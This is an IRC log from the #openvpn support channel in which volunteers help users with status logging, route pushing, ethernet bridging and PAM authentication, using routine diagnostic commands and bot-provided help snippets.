00:56 -!- Vorik [~quassel@D97950AD.cm-3-2b.dynamic.ziggo.nl] has joined #openvpn
00:57 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
01:01 < Devastator> yep "C:\\....\\"
01:02 < Devastator> thanks!
01:05 < Devastator> it seems to have worked
01:06 < Devastator> windows has a "tap windows adapter" even though I'm using tun, but I guess it's normal
01:08 <+pekster> It's just the nomenclature. The code refers to "tun.c" even for tap-stuff
01:09 < Devastator> I can't thank you guys enough
01:09 < Devastator> that first experience (it's really the first) tought me a lot
01:28 <@krzee> cant find the file [inline]
01:29  * krzee punches ios
01:30 <+pekster> Oh, so. Walled garden: as in "Apple's walled garden." It's so pretty, why would you ever want to leave?
01:30 <@krzee> i guess ill try the other way
01:30 <@krzee> oh dude, i only android
01:30 <@krzee> but these 4 devices arent mine
01:30 <@krzee> i guess i do have an ipod touch too, but that was no problem since i sync to computer
01:30 <@krzee> add files, done
01:30 <+pekster> Just try not to eat the apple, k? :P
01:31 <@krzee> however, for laptop...
01:31 <@krzee> MacBookPro CPU: Intel Core i7 M 620 2.67GHz @ 2.66GHz [SSE3/SSSE3/SSE4.1/SSE4.2/x86_64/PAE/XD/VT/EST/OctaCore] L3: 4MB QPI: 4.8 GT/s RAM: 4.2GB/8.0GB swap: 0.00M/64.00M Disk: 162.28GB/173.85GB GPU: NVIDIA GeForce GT 330M & Intel HD Graphics [512 MB & 288 MB/Stock] 1920x1200 OS: Mac OS X 10.7.5 (11G63) Kernel: 11.4.2 Arch: 64 Bit
01:31 <+pekster> I got briefly excited that you were running 64-bit ArchLinux. Then I so the OS.
01:32 <+pekster> saw*
01:32 -!- hid3 [~arnoldas@78.157.71.116] has joined #openvpn
01:32 <+pekster> It's been a couple versions ago for both Mac OS and Tunnelblick, but I had great results there. The pre-packaged deployment thing was really slick
01:32 < hid3> Hello everyone. Can I disable the status logging each minute on the OpenVPN server?
01:33 <@krzee> dont use --status
01:33 <@krzee> hehe
01:33 <+pekster> I like dumping the --status update to a tmpfs location, like /tmp or /run on modern distros
01:34 < hid3> or /ram (which is a symlink to /dev/shm)
01:34 < hid3> but I've never needed that file, anyway
01:34 < hid3> seems to be a real useless
01:34 <+pekster> It's handy when you want to see if $user is connected, or who has the VPN IP $naughty_person
01:35 <@krzee> !management
01:35 <@vpnHelper> "management" is (#1) see http://openvpn.net/management for doc on management interface or (#2) read http://svn.openvpn.net/projects/openvpn/obsolete/BETA21-preauto/openvpn/management/management-notes.txt if you are a programmer making a GUI that will interact with OpenVPN
01:35 <@krzee> ^ more handy for that
01:35 <+pekster> Not really. 'telnet localhost 9876' status?'
01:35 <@krzee> scripts!
01:35 <+pekster> vs: cat /tmp/vpn1.status?
01:35 <@krzee> expect script
01:35 <+pekster> expect is not as convenient compared to cat. Not in my book :P
01:35 <@krzee> ild be happy to kickdown if interested
01:36 <@krzee> ./showusers.sh
01:36 <@krzee> management interface can do a bit more too ;]
01:36 <@krzee> like disconnect $naughty_person
01:36 <+pekster> Right
01:37 < hid3> okay, so disabled the status log file...
01:37 <+pekster> I also found admins liked to leave hanging shells connected to the management port :\
01:38 <@krzee> grr i sent all the files via email instead of inline, that doesnt work either
01:38 <+pekster> Sure, I could kill their ssh/screen sessions, but it was better not to encourage that behaviour to begin with ;)
01:38 -!- hazardous [~dbn@openvpn/user/hazardous] has quit [Ping timeout: 256 seconds]
01:38 <+pekster> And no, I wasn't about to write a multi-user frontend in Java for them to access it with ;)
01:38 <@krzee> me either
01:39 <@krzee> ild do it in bash :D
01:39 -!- hazardous [~dbn@void.kassad.in] has joined #openvpn
01:39 <+pekster> Oh yea? http://xkcd.com/378/
01:39 <@vpnHelper> Title: xkcd: Real Programmers (at xkcd.com)
01:39 <@krzee> butteryfly
01:39 <+pekster> hid3: You were referring to the status file, not something in the logs ever 1/m, right?
01:40 <@krzee> dont need to click :D
01:40 < hid3> pekster: probably. It got updated/truncated each minute. And I only have a few clients for a few hours a few times a year connected...
01:41 <+pekster> Sounds like the status file then. Doesn't hurt much beyond a few CPU cycles, although it'll cauase problems if you wanted disks to spin down or burning holes in flash memory ;)
01:42 < hid3> Yeah...
01:42 < hid3> And besides, I found it only yesterday to be such, never heard of this file. Useless completely, for me.
01:44 <+pekster> Same output you can get in your stndard log output by sending SIGUSR2
01:44 <+pekster> It just keeps it separatly for people who want it output more often
01:44 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
01:44 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has joined #openvpn
01:44 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has quit [Read error: Connection reset by peer]
01:48 < hid3> Okay, one more question. Can I have 'server 192.168.0.0 255.255.255.0' in my config file combined with 'push "route 192.168.0.0 255.255.248.0"' line? Won't that cause any routing/reachability problems?
01:50 <+pekster> That's valid, although clients will get both the more specific /24 route and also get pushed the larger /21
01:50 < hid3> great, thanks
01:50 <+pekster> They'll both be sent via the VPN tunnel, so it doesn't really matter
01:51 <+pekster> THat's kind of a bad network range to push given the potential for conflict with home-routing equipment
01:53 < hid3> not a problem for me (I'm the only user here)
01:53 < hid3> home network gets 10.x.x.x or 172.x.x.x
01:57 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
02:00 < hid3> connection reset by bear
02:01 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
02:01 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
02:01 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
02:02 -!- mode/#openvpn [+o krzee] by ChanServ
02:07 -!- mattock is now known as mattock_afk
02:12 -!- sickness\ is now known as Sickness\
02:14 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Ping timeout: 260 seconds]
02:15 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
02:16 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 245 seconds]
02:18 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
02:20 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
02:20 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
02:20 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
02:20 -!- mode/#openvpn [+o krzee] by ChanServ
02:20 <@krzee> annoyance after annoyance
02:21 <@krzee> i told this netgear router to use 8.8.8.8 for dns, it has nowhere to change what DNS is given to connected clients (only gives itself), but it is not handling dns itself
02:21 <@krzee> yayfun!
02:22 -!- MeanderingCode_ [~Meanderin@71-213-164-111.albq.qwest.net] has quit [Remote host closed the connection]
02:28 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has joined #openvpn
02:31 <+pekster> A better router krzee needs to go advance his plight. When reading in iambic time these rules will set you right.
02:34 <@krzee> hahaha
02:38 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 264 seconds]
02:41 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
02:51 -!- mattock_afk is now known as mattock
03:10 -!- kobolduk [~kobolduk@office.prolocation.net] has joined #openvpn
03:33 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
03:42 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
03:46 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit [Ping timeout: 260 seconds]
03:54 <@krzee> !forget inline
03:54 <@vpnHelper> Joo got it.
03:54 <@krzee> i should contact jjk and let him know inline is slightly different than that
03:55 <@krzee> no [inline], just the xml style
03:55 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
03:58 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
04:00 <@krzee> and BOOYA its working
04:01 <@krzee> vpn server is on dynamic ip, behind 2 nat routers
04:01 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 272 seconds]
04:01 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has joined #openvpn
04:01 <@krzee> currently watching the camera system from an iphone's 4g
04:01  * krzee punches himself for even doing this
04:12 -!- ade_b [~Ade@95.209.143.40.bredband.tre.se] has joined #openvpn
04:12 -!- ade_b [~Ade@95.209.143.40.bredband.tre.se] has quit [Changing host]
04:12 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
04:20 -!- zz_AsadH is now known as AsadH
04:38 -!- _mnathani_ is now known as mnathani
04:45 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has quit [Ping timeout: 276 seconds]
04:49 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has joined #openvpn
04:53 -!- APTX_ [APTX@unaffiliated/aptx] has joined #openvpn
04:53 -!- APTX [APTX@unaffiliated/aptx] has quit [Ping timeout: 245 seconds]
04:54 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has joined #openvpn
04:56 -!- dazo_afk is now known as dazo
05:04 -!- b1rkh0ff [~b1rkh0ff@178.77.7.143] has quit [Quit: Leaving]
05:05 -!- b1rkh0ff [~b1rkh0ff@178.77.7.143] has joined #openvpn
05:05 -!- b1rkh0ff [~b1rkh0ff@178.77.7.143] has quit [Read error: Connection reset by peer]
05:08 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
05:08 -!- APTX_ [APTX@unaffiliated/aptx] has quit [Ping timeout: 245 seconds]
05:09 -!- APTX [APTX@unaffiliated/aptx] has joined #openvpn
05:12 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
05:22 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 272 seconds]
05:29 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
05:34 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has quit [Ping timeout: 255 seconds]
05:37 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
05:38 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 256 seconds]
05:38 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has joined #openvpn
06:21 -!- niervol [~krystian@193.106.244.150] has quit [Quit: Leaving.]
06:32 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
06:55 -!- cosmicgate [~root@94.249.242.85] has joined #openvpn
06:55 < cosmicgate> !paste
06:55 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into pastebin or a similar website or (#2) https://gist.github.com is a recommended place to use
06:55 < cosmicgate> !logs
06:55 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
06:57 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has quit [Read error: Connection reset by peer]
06:59 < AsadH> ssssh cosmicgate
07:02 -!- master_of_master [~master_of@p57B553B8.dip.t-dialin.net] has quit [Ping timeout: 240 seconds]
07:03 -!- hid3 [~arnoldas@78.157.71.116] has left #openvpn []
07:04 -!- master_of_master [~master_of@p57B53D36.dip.t-dialin.net] has joined #openvpn
07:19 -!- pa__ [~pa@host55-12-dynamic.61-82-r.retail.telecomitalia.it] has joined #openvpn
07:20 -!- mcp [~mcp@wolk-project.de] has quit [Excess Flood]
07:21 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
07:33 -!- Valcorb [~Valcorb@84.198.139.192] has joined #openvpn
07:37 -!- c3vin [~c3vin@cpe-107-10-36-73.neo.res.rr.com] has quit [Ping timeout: 240 seconds]
07:38 -!- Sidewinder [~de@unaffiliated/sidewinder] has joined #openvpn
07:41 -!- defswork [~andy@141.0.50.105] has joined #openvpn
07:43 < defswork> should I be able to run multiple client vpn connections from the same IP address ?
07:45 < cosmicgate> sure why not
07:45 < defswork> (to the same server)
07:46 < defswork> I get MULTI: bad source address from client  errors in logs
07:46 <@plaisthos> Theorecically yes but if you aksing such a question it does probaably not do what you want
07:47 <@plaisthos> !nobind
07:47 <@vpnHelper> "nobind" is Do not bind to local address and port. The IP stack will allocate a dynamic port for returning packets. Since the value of the dynamic port could not be known in advance by a peer, this option is only suitable for peers which will be initiating connections by using the --remote option.
07:47 < defswork> we have a remote site with openvpn tunnel router to router
07:47 < defswork> and when laptop users go there and forget they start a road warrior openvpn connection over the same internet connection
07:48 < cosmicgate> ./usr/bin/openvpn -daemon server.conf
07:49 < defswork> hmm ok - nobind on all the clients
07:50 < defswork> that will still be an issue if multiple clients choose the same port though ?
07:51 <@plaisthos> you need to use tls-server for that at least
07:51 < defswork> I do
07:52 < defswork> it's not something I specifically want to support - it's just the fallout it causes when someone does it
07:52 < defswork> I could block internal client vpn connections outbound
07:56 -!- mcp [~mcp@wolk-project.de] has quit [Excess Flood]
07:56 -!- c3vin [~c3vin@70.62.198.163] has joined #openvpn
07:57 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
08:02 -!- mcp [~mcp@wolk-project.de] has quit [Ping timeout: 276 seconds]
08:08 -!- emcepe [~mcp@wolk-project.de] has joined #openvpn
08:13 -!- cpm [~Chip@pdpc/supporter/active/cpm] has joined #openvpn
08:17 <@dazo> defswork: most of the days, I'm running several OpenVPN clients simultaneously ... but they're all to different networks, though
08:18 -!- erry is now known as yrre
08:19 -!- yrre is now known as erry
08:23 -!- niervol [~krystian@193.106.244.150] has joined #openvpn
08:33 -!- nickanderson_afk is now known as nickanderson
08:58 < fys> http://www.newegg.com/Product/Product.aspx?Item=N82E16833122179
08:58 < fys> Opinions on this switch for a small office?
08:58 <@vpnHelper> Title: Newegg.com - NETGEAR 48 Port Stackable Gigabit Smart Switch w 2 Combo 4 SFP ports - Lifetime Warranty GS748TS (at www.newegg.com)
08:59 -!- Dashers [dash@home.aligrant.com] has joined #openvpn
09:00 < Dashers> I cannot get traffic to return to my client over an ethernet bridge, can anybody help?
09:00 < Dashers> OVPN has eth0 and tap0, both without IP addresses which are bridged with br0.
09:01 < Dashers> My client connects and gets an IP address from a DHCP server behind eth0.
09:01 < Dashers> I can ping between the server and the client
09:01 < Dashers> When I try to ping from the client to a host behind the server, the remote machine receives the request and replies, but the reply doesn't make it back to the client.
09:02 < Dashers> There are no firewalls running
09:03 < Dashers> NB.  This is tap not tun, so no L3 routing involved.
09:05 -!- emcepe is now known as mcp
09:05 < _quadDamage> !1918
09:05 <@vpnHelper> "1918" is (#1) RFC1918 makes three unique netblocks available for private use: 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16 or (#2) see also: http://en.wikipedia.org/wiki/Private_network or http://www.faqs.org/rfcs/rfc1918.html or (#3) Too lazy to find your own subnet? Try this one: http://scarydevilmonastery.net/subnet.cgi
09:06 -!- Sidewinder [~de@unaffiliated/sidewinder] has quit [Quit: Leaving]
09:11 -!- cpm [~Chip@pdpc/supporter/active/cpm] has quit [Quit: cpm]
09:11 -!- djc [~djc@gentoo/developer/djc] has joined #openvpn
09:11 -!- djc [~djc@gentoo/developer/djc] has left #openvpn []
09:16 -!- EugeneKay [eugene@madeitwor.se] has quit [Remote host closed the connection]
09:16 -!- [Xaronic] is now known as frankensquirrel
09:17 -!- EugeneKay [eugene@madeitwor.se] has joined #openvpn
09:18 -!- amir [~amir@unaffiliated/amir] has quit [Remote host closed the connection]
09:19 -!- frankensquirrel is now known as [Xaronic]
09:20 -!- gladiatr [~sdspence@openvpn/community/support/gladiatr] has quit [Ping timeout: 252 seconds]
09:22 < Dashers> Anybody?
09:24 < EugeneKay> Nobody.
09:29 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
09:33 -!- gladiatr [~sdspence@24.124.30.22] has joined #openvpn
09:33 -!- gladiatr [~sdspence@24.124.30.22] has quit [Changing host]
09:33 -!- gladiatr [~sdspence@openvpn/community/support/gladiatr] has joined #openvpn
09:38 < _quadDamage> Dashers: I've never had any problems with my smaller managed Netgears. I know of one very large organization in particular that uses them (the extra reliability deemed not worth the price...keep spares).
09:39 < _quadDamage> sorry fys ^^^
09:40 < _quadDamage> also, "extra reliability" as compared to Cisco, Juniper, et al. I'm apparently braindead this morning
09:40 <@ecrist> s/this morning//
09:41 < _quadDamage> My biggest complaint with the smaller units (not sure if 48-ports are the same) is the lack of 64-bit SNMP counters.
09:42 < _quadDamage> and I did have an external power supply flake out...after 6 years.
09:42 -!- b1rkh0ff [~b1rkh0ff@178.77.4.218] has joined #openvpn
09:47 -!- niervol [~krystian@193.106.244.150] has quit [Quit: Leaving.]
09:49 -!- niervol [~krystian@193.106.244.150] has joined #openvpn
09:59 < Dashers> Well I've figured out my problem.  My Openvpn bridge is not updating the ethernet frames with the correct mac address.
09:59 < Dashers> But I doubt anybody here can help me with that...
09:59 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Quit: off to do some thoughtcrime]
10:00 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 264 seconds]
10:06 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
10:07 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
10:07 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
10:10 < _quadDamage> Dashers: OpenVPN should not be reframing traffic. Does the OpenVPN server see replies from the remote server?
10:10 < Dashers> Nope
10:10 -!- cosmicgate [~root@94.249.242.85] has quit []
10:14 -!- raidz_away is now known as raidz
10:16 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 272 seconds]
10:20 -!- Orbi [~opera@anon-149-235.vpn.ipredator.se] has joined #openvpn
10:29 < _quadDamage> Dashers: does the destination mac of the reply match the source mac of the request? is this the mac of the client tap?
10:29 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
10:47 < Dashers> FIgured it, ESXi was blocking it
10:49 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has quit [Remote host closed the connection]
10:49 -!- kobolduk [~kobolduk@office.prolocation.net] has quit [Quit: ["Textual IRC Client: www.textualapp.com"]]
10:51 -!- Dashers [dash@home.aligrant.com] has quit [Quit: leaving]
10:52 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
11:03 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has quit [Remote host closed the connection]
11:05 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has joined #openvpn
11:11 < EugeneKay> Promiscuous mode?
11:14 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
11:14 < hg_5> hello
11:19 -!- hazardous [~dbn@void.kassad.in] has quit [Changing host]
11:19 -!- hazardous [~dbn@openvpn/user/hazardous] has joined #openvpn
11:19 -!- mode/#openvpn [+v hazardous] by ChanServ
11:22 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
11:22 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Remote host closed the connection]
11:22 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
11:23 < hg_5> hello, what that means ;p "Next, ask yourself if you would like to allow network traffic between client2's subnet (192.168.4.0/24) and other clients of the OpenVPN server" ?
11:26 <@krzee> hg_5, are you really asking us to ex[plain a walkthrough?
11:26 <@krzee> !walkthrough
11:26 <@vpnHelper> "walkthrough" is if you are using some walkthrough and now you are here cause you have problems and dont understand your setup, type !howto and !man and try to actually learn what you're doing. most those docs about openvpn from google SUCK.
11:26 <@krzee> :D
11:27 < hg_5> can you describe difference between routing client subnet and allow network traffic between client2 and other client?
11:33 -!- daemonoob [~rschultz@68-233-212-42.static-ip.telepacific.net] has joined #openvpn
11:33 -!- SpookZa [~SpookZA@197.87.128.172] has left #openvpn []
11:36 <@krzee> hg_5,
11:36 <@krzee> !route
11:36 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide
11:36 <@krzee> from client to client by vpn ip has a shortcut
11:36 <@krzee> !c2c
11:36 <@vpnHelper> "c2c" is "client-to-client" is with this option packets from 1 client to another are routed inside the server process. without it packets leave the server process, hit the kernel (firewall, routing table) and if allowed by firewall and routed back to server process, they go to the client. you use this option when you do not want to use selective firewall rules on what clients can access things behind
11:36 <@vpnHelper> other clients
11:39 < hg_5> ok simple: if i will add just this http://pastebin.com/6CeysgLy , will i be able to ping client from my router?
11:41 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 256 seconds]
11:58 -!- WDKevin [~WDKevin@173-163-136-177-centralpennsylvania.hfc.comcastbusiness.net] has joined #openvpn
11:59 < WDKevin> I'm having trouble getting my home server to allow me to connect through OpenVPN. I've set the directives to use username/password authentication and I'm trying to have it authenticate against the actual users on that server. Can someone help me with the config to do this?
12:00 -!- AsadH is now known as zz_AsadH
12:17 < fys> WDKevin: you bet your ass i can
12:17 < WDKevin> well alrighty then
12:17 < fys> http://z20k.com/post/37792613220/openvpn-pam
12:17 <@vpnHelper> Title: z20k.com - OpenVPN + PAM (at z20k.com)
12:17 < WDKevin> wow
12:18 < WDKevin> your an angel
12:18 < fys> I like to think so.
12:18 < fys> :D
12:18 < fys> I looked for that exact config for hours until I found it, so I re-posted it on my domain for if this ever happened.
12:18 < WDKevin> that is beautiful
12:18 < fys> :D
12:18 < WDKevin> im ssh'd into my home vpn server, i should be able to do this all remotely, right?
12:19 < fys> Yeah, for sure.
12:20 < WDKevin> excellent
12:20 < WDKevin> now, i do still need a server certificate, right?
12:20 < fys> Yeah.
12:20 < WDKevin> ok
12:20 < WDKevin> i have one i generated initially, i suspect i will need to regenerate one though after i change some config options
12:20 < fys> but that's -all- you need.
12:20 < WDKevin> good
12:20 < WDKevin> server.conf, right?
12:20 < WDKevin> or is it ca.crt?
12:21 < fys> ca.crt
12:21 < WDKevin> ok
12:21 < fys> I deploy our employees w/ a viscocity (osx openvpn client) with that file included.
12:21 < WDKevin> right
12:21 < WDKevin> thats what im going to do
12:21 < fys> then simply add them to the openvpn server.
12:21 < fys> easy peasy
12:21 < WDKevin> just keep a zip hidden on my web server somewhere that i can grab when i need it
12:22 < WDKevin> your post here, am i posting all that into server.conf?
12:22 < WDKevin> err wait
12:22 < WDKevin> nevermind
12:22 < WDKevin> i see some commands too
12:22 < fys> everything but the iptables rules
12:22 < fys> yeah
12:22 < WDKevin> whats the port, proto and dev lines?
12:22 < WDKevin> just common fyi's?
12:23 < fys> it just sends your /dev/tun0 traffic out eth0
12:23 < fys> which you need it to do
12:23 < WDKevin> but where do i put those 3 lines?
12:23 < fys> oh
12:23 < fys> you issue them as commands
12:23 < WDKevin> ok
12:23 < fys> What distro are you on?
12:23 < WDKevin> ubuntu
12:23 < fys> Ah, I'm not sure how the iptables rules are saved on Ubuntu.
12:23 < WDKevin> i have tun0 already setup
12:23 < fys> I think You have to do it manually.
12:24 < WDKevin> im able to connect to my vpn server already, i just cant auth
12:24 < fys> Your path is probably different for the pam auth .so
12:24 < fys> that config is from CentOS
12:24 < WDKevin> i find it earlier
12:24 < WDKevin> its actually the same
12:24 < fys> Seriously>?
12:24 < fys> weird
12:24 < WDKevin> it was different from the openvpn docs
12:24 < WDKevin> but it matches what you have
12:24 < fys> Oh wait.
12:25 < fys> that makes perfect sense actually
12:25 < fys> because my openvpn box at home is debian
12:25 < fys> forgot about that..
12:25 < WDKevin> haha
12:25 < WDKevin> that explains it
12:25 < fys> :D
12:25 < WDKevin> so
12:25 < WDKevin> yea
12:25 < WDKevin> what the hell am i doing with this post? lol
12:25 < fys> well
12:25 < fys> do you have your ca.crt and server keys?
12:26 < WDKevin> yes
12:26 < WDKevin> i have them from when i initially generated them
12:26 < WDKevin> as in i have them on the server
12:26 < fys> if you don't mind keeping the subnets i defined
12:26 < fys> you should be able to copy and paste the config into server.conf
12:26 < fys> replace the filenames with yours
12:26 < WDKevin> from the port line down to the username-as-common-name line?
12:26 < fys> no, the keys and crts
12:26 < fys> cert /etc/openvpn/easy-rsa/keys/greed.crt
12:26 < WDKevin> yea
12:26 < fys> like yours would be servername.crt
12:26 < WDKevin> but i mean the copy/paste part
12:27 < fys> ohhh
12:27 < fys> yes
12:27 < WDKevin> copy everything from port down to username-as-common into my server.conf then make the changes to the key locations and the ip subnets?
12:27 < fys> username-as-common-name
12:27 < fys> would be the last name of the server.conf
12:27 < WDKevin> line*
12:27 < WDKevin> you mean, right?
12:28 < WDKevin> also, im not actually looking to funnel my traffic
12:28 < WDKevin> i just want to get onto my lan
12:28 < WDKevin> so can i drop the push route line?
12:28 < fys> no
12:29 < fys> that handles routing the vpn subnet
12:29 < fys> otherwise you won't be able to address your LAN
12:29 < WDKevin> oh ok
12:29 < WDKevin> i just need to change the 10. ip to my actual vpn servers ip?
12:30 < fys> no
12:30 < fys> that's the vpn subnet
12:30 < fys> you'd leave it as-is
12:30 < WDKevin> oh ok
12:30 < WDKevin> same with the server line too?
12:30 < fys> yup
12:30 < fys> you could literally make that any private ip subnet you want
12:31 < fys> as long as it doesnt overlap with your existing lans
12:31 < hg_5> hey, this configuration will be correct http://puu.sh/1Yq4c ? i added route .... and push .... to 192.168.7.0
12:31 < WDKevin> fys, my existing lans is all on 192.168.1
12:31 < fys> ah then you're good
12:32 < WDKevin> im good keeping them at 10.0whatever you have?
12:33 < fys> yeah
12:33 < WDKevin> and then issue the iptables into the terminal?
12:33 < WDKevin> line by line?
12:33 < fys> hg_5: why are you pushing 2 routes that have nothing to do with the server subnet
12:33 < fys> WDKevin: yeah, but be careful copying and pasting sometimes dashes get converted weird.
12:33 < WDKevin> i noticed the " came over as .
12:33 < WDKevin> so i will make sure on those lines too
12:34 < fys> yeah
12:34 < WDKevin> now question
12:34 < WDKevin> should i be able to at least connect without running those iptables commands?
12:34 < WDKevin> or are thjose crucial to authenticating?
12:34 < fys> yeah
12:34 < WDKevin> ok
12:34 < WDKevin> because im still getting the same error
12:34 < fys> check what the server log says
12:34 < WDKevin> ah, good point
12:34 < WDKevin> lol
12:35 < fys> :D
12:35 < hg_5> fys i need to see clients connected to vpn client router
12:35 < WDKevin> where the hell is the openvpn log?
12:35 < fys> you define it
12:35 < WDKevin> found it
12:35 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Quit: Ex-Chat]
12:35 < WDKevin> i was looking in /va/rlog
12:36 < fys> ah
12:36 < fys> yeah
12:36 < fys> i should probably do that in my config, move it to /var/log
12:36 < WDKevin> do i want openvpn.log or openvpn-status.log?
12:36 < WDKevin> neither one really shows me anything worth anything
12:37 < fys> have you restarted the vpn daemon since changing the file?
12:37 < WDKevin> yes
12:37 < fys> what error are you getting?
12:38 < WDKevin> ConnectionRefusedError: 10061: No connection could be made because the target machine actively refused it..
12:38 < WDKevin> i wonder if thats a router port forwarding issue
12:38 < fys> sounds like it
12:38 < WDKevin> though i have port forwarding already setup for this
12:38 < fys> udp port 1194?
12:38 < WDKevin> yup
12:38 < fys> and it's allowed on that box?
12:39 < fys> just as a test
12:39 < WDKevin> should be
12:39 < fys> disable iptables
12:39 < fys> then try
12:39 < WDKevin> im logging into my router now
12:39 < fys> werd
12:39 < WDKevin> i have port 1194, both, forwarding to that box on port 1194
12:39 < fys> now on that box
12:39 < fys> disable iptables for a second
12:39 < WDKevin> when i do an nmap localhost, i do not see 1194
12:41 < WDKevin> shouldnt i see port 1194 when i nmap that box?
12:41 < fys> do this
12:41 < fys> netstat netstat -ltnup | grep 1194
12:41 < fys> er
12:41 < fys> netstat -ltnup | grep 1194
12:42 < WDKevin> udp        0      0 0.0.0.0:1194            0.0.0.0:*                           4051/openvpn
12:42 < WDKevin> got that
12:42 < WDKevin> those 0's look like they could be problamatic
12:42 < fys> nope
12:42 < WDKevin> all good?
12:42 < fys> that just means it's listening on all interfaces
12:42 < fys> yeah
12:42 < WDKevin> strange
12:43 < WDKevin> i dont have to forward any additional ports on the router?
12:43 < fys> no
12:43 < fys> http://serverfault.com/questions/129086/how-to-start-stop-iptables-on-ubuntu
12:43 <@vpnHelper> Title: How to start/stop iptables on Ubuntu? - Server Fault (at serverfault.com)
12:43 < fys> i wish iptables was as easy on ubuntu as it is on CentOS
12:43 < fys> bleh
12:43 < WDKevin> heh
12:44 < WDKevin> i dont have any iptables rules
12:44 < fys> iptablnes -nL shows nothing?
12:44 < WDKevin> shows accept on everything
12:44 < fys> that's weird because if your router is forwarding it to that box
12:45 < WDKevin> input accept, forward accept and output accept
12:45 < fys> and openvpn is listening on that box
12:45 < WDKevin> should i be warding to the eth0 ip or the tun0 ip?
12:45 < fys> eth0
12:45 < fys> actually
12:45 < WDKevin> that might be the problem
12:45 < fys> if it's being port forwarded
12:45 < WDKevin> im forwarding to the br0 port
12:45 < fys> it'd be your public ip
12:45 < fys> so do this
12:46 < fys> curl -s icanhazip.com
12:46 < fys> from that box
12:46 < fys> and -that- is the ip your client should be connecting to
12:46 < WDKevin> dont have curl installed
12:46 < fys> gah
12:46 < fys> brb meeting
12:46 < WDKevin> wait
12:46 < WDKevin> its hitting my public ip
12:46 < WDKevin> im ssh'd into the same boxc
12:49 < hg_5> fys what should i write then ?
12:49 -!- zz_AsadH is now known as AsadH
12:57 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
